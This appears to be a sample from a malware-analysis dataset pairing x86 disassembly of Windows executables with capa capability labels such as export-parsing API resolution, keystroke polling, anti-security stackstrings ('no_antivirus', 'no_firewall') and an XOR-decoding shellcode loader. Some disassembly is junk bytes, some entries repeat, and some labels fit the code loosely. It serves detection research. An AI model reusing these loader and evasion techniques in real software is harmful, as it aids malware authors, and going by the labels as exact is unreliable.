joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003707d
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100370d6
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1003707d
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1003708c
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043cd2f
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100370dd
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001df53
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1003717c
add edi, 4
add eax, 2
dec ecx
jne 0x100370c2
call 0x10037129
loope 0x1003711f
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10037179
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1003718a
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1003713d
cmp eax, ecx
ja 0x1003713d
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100371c7
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100371bd
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1001e432
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x1003708c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push 0
push ecx
xor ecx, ecx
jne 0x100370d6
mov ecx, esp
xor dword [ecx - 0x55], edi
pop ecx
call 0x1003707d
dec esp
adc eax, 0x91b81b2a
div bh
int 0x82
xchg ebx, eax
ror cl, 1
into
out dx, eax
call 0x1003708c
cld
test edx, ebx
or ebp, eax
add dword [esi - 0x7cc26b19], esp
les ecx, [eax]
or dword [esp], ebp
mov ebp, esp
sub esp, 0x100
push ebx
push edx
push ecx
push edi
push esi
mov ebx, dword [ebp + 8]
mov edx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
lea ebx, [ebx + edx]
mov eax, dword [ebx + 0x24]
add eax, edx
xor edi, edi
jne 0x1043cd2f
or edi, dword [ebx + 0x20]
add edi, edx
mov ecx, dword [ebx + 0x18]
mov esi, dword [edi]
add esi, edx
push 0
push ecx
mov ecx, esp
push 0x55d34c8a
call 0x100370dd
sti
sbb byte [ecx + 0x56], dh
xlatb
les ebp, [ebp + 0x8c483e2]
xchg dword [ecx + 4], eax
xor eax, edx
shl eax, 3
xor ecx, 0
shl eax, 0x1d
add eax, dword [ecx + 4]
pop ecx
push esi
call fcn.1001df53
cmp eax, dword [ebp + 0xc]
pop eax
je 0x1003717c
add edi, 4
add eax, 2
dec ecx
jne 0x100370c2
call 0x10037129
loope 0x1003711f
invalid
sbb esi, ebx
mov edi, 0xdbead58c
js 0x10037179
mov dh, 0xe8
or byte [eax], al
add byte [eax], al
mov bh, 0x24
lea eax, [edx + 0x53]
nop
mov dword [esi + 0x2308c483], ecx
sal byte [ecx], 0xc0
fsub st(7)
int 0xf
mov bh, 0
movzx eax, word [eax]
jmp 0x1003718a
shl eax, 2
add eax, dword [ebx + 0x1c]
add eax, edx
mov eax, dword [eax]
add eax, edx
mov ebx, edx
add ebx, dword [edx + 0x3c]
mov ecx, dword [ebx + 0x7c]
mov ebx, dword [ebx + 0x78]
add ebx, edx
add ecx, ebx
cmp eax, ebx
jb 0x1003713d
cmp eax, ecx
ja 0x1003713d
mov esi, eax
lea edi, [ebp - 0x100]
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
js 0x100371c7
or ecx, ecx
xor dword [esp - 0x6b], eax
cmp al, 0x2e
jne 0x100371bd
lea edi, [ebp - 0x100]
push 0x100
push edi
push esi
call fcn.1001e432
lea esp, [esp - 0x60]
mov dword [esp + 0x5c], edi
lea esp, [esp + 0x5c]
Function at 0x40199a
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
push esi
xor esi, esi
push edi
push esi
lea eax, [ecx + 3]
push 0x80
push eax
mov eax, 0x80000000
push esi
shr eax, cl
push esi
push eax
push dword [0x40422c]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x4019f2
cmp dword [ebp + 8], esi
lea eax, [ebp + 8]
push esi
push eax
push 0x20
push 0x404200
push edi
jne 0x4019e5
call dword [sym.imp.KERNEL32.dll_ReadFile]
jmp 0x4019eb
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp + 8]
pop edi
pop esi
pop ebp
ret
Function at 0x4019f9
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
cmp dword [0x40425c], 1
push ebx
push esi
push edi
jne 0x401a12
xor eax, eax
jmp 0x401ba3
push 0x10
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x404224]
xor ebx, ebx
movzx eax, ax
shr eax, 0xf
mov dword [ebp - 0xc], eax
xor eax, eax
cmp dword [ecx + 0xc], ebx
mov dword [ebp - 8], ebx
setne al
mov dword [ebp - 4], eax
mov eax, dword [0x404230]
xor esi, esi
lea edi, [eax + 0x800]
mov ecx, dword [ebp + 8]
mov al, byte [ecx]
cmp al, bl
je 0x401a6e
inc ecx
cmp al, 0x5c
mov dword [ebp + 8], ecx
jne 0x401a46
mov al, byte [ecx - 2]
cmp al, 0x3a
jne 0x401a63
sub ecx, 3
jmp 0x401a6b
jae 0x401a46
cmp byte [ecx], 0x5c
jne 0x401a46
dec ecx
mov dword [ebp + 8], ecx
cmp esi, ebx
je 0x401b79
lea eax, [ecx - 1]
mov cl, byte [eax]
cmp cl, 0x20
jbe 0x401a85
cmp cl, 0x22
jne 0x401a88
dec eax
jmp 0x401a79
push edi
push esi
mov byte [eax + 1], bl
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
je 0x401b79
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
test byte [edi], 0x10
jne 0x401b79
cmp dword [0x40425c], ebx
je 0x401ad0
mov eax, dword [0x404224]
mov ecx, dword [0x404228]
mov dword [0x40425c], ebx
mov dword [0x404224], ecx
mov dword [0x404228], eax
push esi
push ebx
push 0x180
push dword [0x404254]
call dword [sym.imp.USER32.dll_SendMessageA]
push 0x101
push ebx
push ebx
mov dword [0x404234], ebx
push dword [0x404258]
call dword [sym.imp.USER32.dll_RedrawWindow]
mov eax, dword [ebp - 4]
lea ecx, [eax*4 + 0x404224]
mov eax, dword [eax*4 + 0x404224]
add eax, 0xc
mov dl, byte [esi]
cmp dl, bl
je 0x401b1c
mov byte [eax], dl
inc eax
inc esi
jmp 0x401b10
mov dword [eax], ebx
sub eax, 5
mov dl, byte [eax]
cmp dl, bl
je 0x401b2d
inc eax
cmp dl, 0x2e
jne 0x401b21
mov eax, dword [eax]
mov edx, dword [ecx]
and eax, 0xdfdfdf
cmp dword [ebp - 4], ebx
mov dword [edx], eax
mov eax, dword [ecx]
mov edx, dword [edi + 0x1c]
mov dword [eax + 4], edx
mov eax, dword [ecx]
mov ecx, dword [edi + 0x20]
mov dword [eax + 8], ecx
jle 0x401b6f
mov eax, dword [0x404224]
mov ecx, dword [0x404228]
mov eax, dword [eax]
sub eax, dword [ecx]
neg eax
sbb eax, eax
inc eax
xor eax, dword [ebp - 0xc]
jne 0x401b8b
or dword [0x40425c], 0xffffffff
jmp 0x401b76
mov dword [ebp - 4], 1
dec dword [ebp - 8]
mov eax, dword [ebp + 8]
cmp byte [eax], bl
je 0x401ba0
add dword [ebp + 8], 3
mov esi, eax
jmp 0x401a46
push ebx
push ebx
push 0x8000
push dword [0x404258]
call dword [sym.imp.USER32.dll_PostMessageA]
jmp 0x401ba3
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f64
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
push edi
xor edi, edi
push edi
push 0x2000080
push 3
push edi
push 1
push 0x80000000
push dword [0x404230]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401f98
xor eax, eax
jmp 0x402034
lea eax, [ebp - 8]
push ebx
push eax
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
and byte [ebp - 0x21], 0
lea ebx, [ebp - 0x21]
test bl, 3
jne 0x401fc7
dec ebx
mov byte [ebx], 0x2c
push 0xa
mov eax, edi
xor edx, edx
pop ecx
div ecx
dec ebx
mov eax, edi
add dl, 0x30
mov byte [ebx], dl
xor edx, edx
div ecx
mov edi, eax
test edi, edi
jne 0x401fbe
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
movzx eax, word [ebp - 0x14]
push ebx
push eax
movzx eax, word [ebp - 0x16]
push eax
movzx eax, word [ebp - 0x18]
push eax
movzx eax, word [ebp - 0x1a]
push eax
movzx eax, word [ebp - 0x1e]
push eax
movzx eax, word [ebp - 0x20]
push eax
push 0x404018
push 0x404150
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
push 1
pop eax
pop ebx
pop edi
pop esi
leave
ret
Function at 0x4077f1
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8054
call fcn.0040d060
push ebx
push esi
push edi
xor edi, edi
push dword [ebp + 8]
mov dword [ebp - 4], edi
call dword [0x40e3a8]
lea eax, [ebp - 0x54]
push 0x41
push eax
call fcn.00407f26
pop ecx
lea eax, [ebp - 0x54]
pop ecx
push edi
push edi
push edi
push edi
push eax
call dword [0x40e3a4]
mov ebx, eax
cmp ebx, edi
mov dword [ebp - 0x10], ebx
jne 0x407846
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x407842
call dword [fcn.0040e080]
mov dword [esi], eax
push 1
jmp 0x407877
push edi
push 0x100
push edi
push edi
push dword [ebp + 8]
push ebx
call dword [0x40e39c]
cmp eax, edi
mov dword [ebp - 8], eax
jne 0x40787d
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x40786e
call dword [fcn.0040e080]
mov dword [esi], eax
push ebx
call dword [0x40e3b0]
push 6
pop eax
jmp 0x4079b5
lea ecx, [ebp - 0xc]
push edi
push ecx
lea ecx, [ebp - 4]
push ecx
push 0x20000013
push eax
mov dword [ebp - 0xc], 4
call dword [0x40e3ac]
test eax, eax
mov eax, dword [ebp + 0x14]
jne 0x4078c0
cmp eax, edi
je 0x4078a9
mov ecx, dword [ebp - 4]
mov dword [eax], ecx
mov esi, dword [ebp + 0x18]
cmp esi, edi
je 0x4078b8
call dword [fcn.0040e080]
mov dword [esi], eax
push 5
pop edi
jmp 0x4079a3
mov ecx, dword [ebp - 4]
cmp eax, edi
je 0x4078c9
mov dword [eax], ecx
cmp ecx, 0xc8
je 0x4078d5
push 7
jmp 0x4078ba
mov esi, 0x8000
lea eax, [ebp - 0x8054]
push esi
push edi
push eax
mov dword [ebp + 0x18], edi
mov dword [ebp + 8], edi
call fcn.0040d03a
add esp, 0xc
lea eax, [ebp + 0x18]
push eax
lea eax, [ebp - 0x8054]
push esi
push eax
push dword [ebp - 8]
call dword [0x40e3a0]
test eax, eax
je 0x407997
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x18]
cmp eax, edi
jbe 0x407958
cmp ebx, edi
je 0x407955
mov ecx, dword [ebp + 8]
add ecx, eax
push ecx
push dword [ebx]
call fcn.0040d090
push dword [ebp + 0x18]
mov ecx, dword [ebp + 8]
mov dword [ebx], eax
add eax, ecx
push edi
push eax
call fcn.0040d03a
push dword [ebp + 0x18]
lea eax, [ebp - 0x8054]
push eax
mov eax, dword [ebx]
add eax, dword [ebp + 8]
push eax
call fcn.0040d02e
mov eax, dword [ebp + 0x18]
add esp, 0x20
add dword [ebp + 8], eax
push edi
push 0x64
push edi
call fcn.00407e74
add esp, 0xc
cmp dword [ebp + 0x18], edi
je 0x407997
push esi
lea eax, [ebp - 0x8054]
push edi
push eax
call fcn.0040d03a
add esp, 0xc
lea eax, [ebp + 0x18]
push eax
lea eax, [ebp - 0x8054]
push esi
push eax
push dword [ebp - 8]
call dword [0x40e3a0]
test eax, eax
jne 0x407911
mov eax, dword [ebp + 0x10]
cmp eax, edi
je 0x4079a3
mov ecx, dword [ebp + 8]
mov dword [eax], ecx
push dword [ebp - 0x10]
mov esi, dword [0x40e3b0]
call esi
push dword [ebp - 8]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x409d93
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push dword [ebp + 0xc]
lea eax, [ebp - 0x34]
and byte [ebp - 4], 0
and word [ebp - 0x14], 0
push 0x409b6d
push eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x6e
push eax
mov byte [ebp - 0xf], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xe], 0x5f
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x76
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x75
mov byte [ebp - 5], 0x73
mov word [ebp - 0x34], 0x41
mov word [ebp - 0x32], 0x6e
mov word [ebp - 0x30], 0x74
mov word [ebp - 0x2e], 0x69
mov word [ebp - 0x2c], 0x56
mov word [ebp - 0x2a], 0x69
mov word [ebp - 0x28], 0x72
mov word [ebp - 0x26], 0x75
mov word [ebp - 0x24], 0x73
mov word [ebp - 0x22], 0x50
mov word [ebp - 0x20], 0x72
mov word [ebp - 0x1e], 0x6f
mov word [ebp - 0x1c], 0x64
mov word [ebp - 0x1a], 0x75
mov word [ebp - 0x18], 0x63
mov word [ebp - 0x16], 0x74
call fcn.0040a40b
add esp, 0x14
leave
ret

Function at 0x40a06c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push dword [ebp + 0xc]
lea eax, [ebp - 0x2c]
and byte [ebp - 1], 0
and word [ebp - 0xe], 0
push 0x409e4f
push eax
lea eax, [ebp - 0xc]
mov byte [ebp - 0xc], 0x6e
push eax
mov byte [ebp - 0xb], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xa], 0x5f
mov byte [ebp - 9], 0x66
mov byte [ebp - 8], 0x69
mov byte [ebp - 7], 0x72
mov byte [ebp - 6], 0x65
mov byte [ebp - 5], 0x77
mov byte [ebp - 4], 0x61
mov byte [ebp - 3], 0x6c
mov byte [ebp - 2], 0x6c
mov word [ebp - 0x2c], 0x46
mov word [ebp - 0x2a], 0x69
mov word [ebp - 0x28], 0x72
mov word [ebp - 0x26], 0x65
mov word [ebp - 0x24], 0x77
mov word [ebp - 0x22], 0x61
mov word [ebp - 0x20], 0x6c
mov word [ebp - 0x1e], 0x6c
mov word [ebp - 0x1c], 0x50
mov word [ebp - 0x1a], 0x72
mov word [ebp - 0x18], 0x6f
mov word [ebp - 0x16], 0x64
mov word [ebp - 0x14], 0x75
mov word [ebp - 0x12], 0x63
mov word [ebp - 0x10], 0x74
call fcn.0040a40b
add esp, 0x14
leave
ret
Function at 0x40a33b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push dword [ebp + 0xc]
lea eax, [ebp - 0x38]
and byte [ebp - 2], 0
and word [ebp - 0x14], 0
push 0x40a11e
push eax
lea eax, [ebp - 0x10]
mov byte [ebp - 0x10], 0x6e
push eax
mov byte [ebp - 0xf], 0x6f
push dword [ebp + 8]
mov byte [ebp - 0xe], 0x5f
mov byte [ebp - 0xd], 0x61
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x74
mov byte [ebp - 0xa], 0x69
mov byte [ebp - 9], 0x73
mov byte [ebp - 8], 0x70
mov byte [ebp - 7], 0x79
mov byte [ebp - 6], 0x77
mov byte [ebp - 5], 0x61
mov byte [ebp - 4], 0x72
mov byte [ebp - 3], 0x65
mov word [ebp - 0x38], 0x41
mov word [ebp - 0x36], 0x6e
mov word [ebp - 0x34], 0x74
mov word [ebp - 0x32], 0x69
mov word [ebp - 0x30], 0x53
mov word [ebp - 0x2e], 0x70
mov word [ebp - 0x2c], 0x79
mov word [ebp - 0x2a], 0x77
mov word [ebp - 0x28], 0x61
mov word [ebp - 0x26], 0x72
mov word [ebp - 0x24], 0x65
mov word [ebp - 0x22], 0x50
mov word [ebp - 0x20], 0x72
mov word [ebp - 0x1e], 0x6f
mov word [ebp - 0x1c], 0x64
mov word [ebp - 0x1a], 0x75
mov word [ebp - 0x18], 0x63
mov word [ebp - 0x16], 0x74
call fcn.0040a40b
add esp, 0x14
leave
ret

Function at 0x40c461
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x432798], esi
push edi
jne 0x40c49b
mov ecx, 0x432794
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x40c477
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x432b94
jl 0x40c472
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x40c4d0
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x432794]
xor eax, esi
inc ecx
dec edx
jne 0x40c4b3
pop edi
pop esi
not eax
ret 0xc
Function at 0x6d410d90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x6d410d9f
pop dword [ebp - 0x34]
mov eax, 0xc5649b78
add eax, 0xa7dc7227
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x818b8029
add dword [ebp - 0x44], 0xccc6c522
mov dword [ebp - 0x40], 0x23b4d284
sub dword [ebp - 0x40], 0xf181863f
mov dword [ebp - 0x3c], 0x26cef7e0
sub dword [ebp - 0x3c], 0xda82b3b2
mov dword [ebp - 0x38], 0xb1e030b
add dword [ebp - 0x38], 0xf4e1fcf5
lea eax, [ebp - 0x44]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xc58e81be
sub dword [ebp - 0x44], 0x511c1868
mov dword [ebp - 0x40], 0xe592b715
add dword [ebp - 0x40], 0x5bd9aa60
mov dword [ebp - 0x3c], 0xb50a9bf1
sub dword [ebp - 0x3c], 0x519b2f85
mov dword [ebp - 0x38], 0x1c29d9f3
sub dword [ebp - 0x38], 0x1c29d9f3
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x36109
push 0
call eax
mov ecx, 0xfecb08cc
sub ecx, 0xfecac2ac
mov edi, eax
mov ebx, 0x28af4af6
add ebx, 0x4492cf0a
add ebx, dword [ebp - 0x34]
mov esi, 0x43bc9047
sub dword [ebp - 0x1c], 0xbfd6bdf4
mov edx, dword [ebx]
xor edx, esi
sub dword [ebp - 0x2c], 0x8b46ebbc
mov dword [edi], edx
mov dword [ebp - 0x1c], 0x1c9ee7f7
add edi, 4
add ebx, 0x71bbc8a0
sub ebx, 0x71bbc89c
loop 0x6d410eb1
add eax, 0xd3775478
add eax, 0x2c89b6db
mov ebx, eax
add eax, 0x9cc0f720
sub eax, 0x9cc0f71b
mov ecx, 0x6d400000
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401e90
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
jne 0x401ea9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.kernel32.dll_LockResource_1]
mov esi, eax
test esi, esi
jne 0x401ebd
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.kernel32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x401ede
cmp esi, eax
jae 0x401eb7
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401ed0
cmp esi, eax
jae 0x401eb7
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x402b60
Capabilities:
Access peb ldr_data
Check for peb beingdebugged flag
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x4589f8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
mov dword [esp + 8], esi
call fcn.00401d30
mov dword [esp + 0x14], 0
mov dword [esi], 0x45d6bc
call fcn.0043e942
cdq
mov ecx, 5
idiv ecx
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov dword [esi + 0x10], eax
mov eax, dword [esp + 0x28]
mov byte [esi + 0x98], 1
mov dword [esi + 0x14], ecx
mov dword [esi + 0x1c], eax
push 0
add edx, 2
mov dword [esp + 8], edx
mov dl, byte [esp + 0x30]
fild dword [esp + 8]
mov byte [esi + 0xa8], dl
mov edx, dword [esp + 0x28]
fstp qword [esi + 0xa0]
mov dword [esi + 0x18], edx
mov ecx, dword [0x47c158]
mov ecx, dword [ecx + 0x934]
call fcn.0042d010
mov ecx, dword [esp + 0xc]
mov dword [esi + 0x20], eax
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 0x14
Function at 0x403270
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x458ab6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.0040ee80
mov dword [esi], 0x45d728
mov dword [esi + 0x98], 0x45d714
mov dword [esi + 0x140], 0x45d708
mov eax, dword [0x47c158]
mov ecx, dword [eax + 0x850]
mov edx, dword [ecx + 0x10]
lea edi, [esi + 0x140]
push 0
push 0xffffffffffffffff
dec edx
push edx
push 0
lea ecx, [esi + 0x1a0]
mov dword [esp + 0x2c], 0
call fcn.004263f0
fld qword [esp + 0x38]
mov edx, dword [esp + 0x24]
fadd qword [0x45d700]
mov ebp, dword [esp + 0x28]
mov eax, dword [esp + 0x34]
mov dword [esi + 0x1b8], edx
mov edx, dword [esp + 0x2c]
mov dword [esi + 0x1c0], edx
mov dword [esi + 0x1b0], eax
mov dword [esi + 0x1bc], ebp
mov ebp, dword [esp + 0x30]
mov dword [esi + 0x1c4], ebp
mov dword [esi + 0x100], 0
mov dword [esi + 0x104], 0x40240000
mov edx, dword [0x47c158]
mov edx, dword [edx + 0x834]
mov edx, dword [edx + 0xa0]
inc edx
imul edx, edx, 0x64
mov dword [esi + 0x160], edx
mov edx, dword [0x47c158]
mov edx, dword [edx + 0x834]
mov edx, dword [edx + 0xa0]
lea eax, [edx + eax + 0xa]
imul eax, eax, 0x64
mov dword [esi + 0x168], eax
mov edx, dword [0x47c158]
mov eax, dword [edx + 0x834]
mov ebx, dword [eax + 0xa0]
mov edx, 0x1e
sub edx, ebx
shl edx, 1
mov dword [esi + 0x16c], edx
mov eax, dword [0x47c158]
mov edx, dword [eax + 0x834]
mov ebp, dword [edx + 0xa0]
mov eax, 0x1e
sub eax, ebp
mov dword [esi + 0x170], eax
mov edx, dword [0x47c158]
mov eax, dword [edx + 0x834]
mov ebx, dword [eax + 0xa0]
push 0
mov ecx, 1
sub esp, 8
mov edx, 0x1e
mov byte [esp + 0x28], cl
fstp qword [esp]
sub edx, ebx
mov dword [esi + 0x17c], ecx
push ecx
mov ecx, edi
mov dword [esi + 0x174], edx
mov dword [esi + 0x178], 0x1e
mov dword [esi + 0x18c], 0xc
call fcn.0042b460
mov eax, esi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0x1c
Function at 0x403288
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x458ab6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.0040ee80
mov dword [esi], 0x45d728
mov dword [esi + 0x98], 0x45d714
mov dword [esi + 0x140], 0x45d708
mov eax, dword [0x47c158]
mov ecx, dword [eax + 0x850]
mov edx, dword [ecx + 0x10]
lea edi, [esi + 0x140]
push 0
push 0xffffffffffffffff
dec edx
push edx
push 0
lea ecx, [esi + 0x1a0]
mov dword [esp + 0x2c], 0
call fcn.004263f0
fld qword [esp + 0x38]
mov edx, dword [esp + 0x24]
fadd qword [0x45d700]
mov ebp, dword [esp + 0x28]
mov eax, dword [esp + 0x34]
mov dword [esi + 0x1b8], edx
mov edx, dword [esp + 0x2c]
mov dword [esi + 0x1c0], edx
mov dword [esi + 0x1b0], eax
mov dword [esi + 0x1bc], ebp
mov ebp, dword [esp + 0x30]
mov dword [esi + 0x1c4], ebp
mov dword [esi + 0x100], 0
mov dword [esi + 0x104], 0x40240000
mov edx, dword [0x47c158]
mov edx, dword [edx + 0x834]
mov edx, dword [edx + 0xa0]
inc edx
imul edx, edx, 0x64
mov dword [esi + 0x160], edx
mov edx, dword [0x47c158]
mov edx, dword [edx + 0x834]
mov edx, dword [edx + 0xa0]
lea eax, [edx + eax + 0xa]
imul eax, eax, 0x64
mov dword [esi + 0x168], eax
mov edx, dword [0x47c158]
mov eax, dword [edx + 0x834]
mov ebx, dword [eax + 0xa0]
mov edx, 0x1e
sub edx, ebx
shl edx, 1
mov dword [esi + 0x16c], edx
mov eax, dword [0x47c158]
mov edx, dword [eax + 0x834]
mov ebp, dword [edx + 0xa0]
mov eax, 0x1e
sub eax, ebp
mov dword [esi + 0x170], eax
mov edx, dword [0x47c158]
mov eax, dword [edx + 0x834]
mov ebx, dword [eax + 0xa0]
push 0
mov ecx, 1
sub esp, 8
mov edx, 0x1e
mov byte [esp + 0x28], cl
fstp qword [esp]
sub edx, ebx
mov dword [esi + 0x17c], ecx
push ecx
mov ecx, edi
mov dword [esi + 0x174], edx
mov dword [esi + 0x178], 0x1e
mov dword [esi + 0x18c], 0xc
call fcn.0042b460
mov eax, esi
mov ecx, dword [esp + 0x14]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 0x1c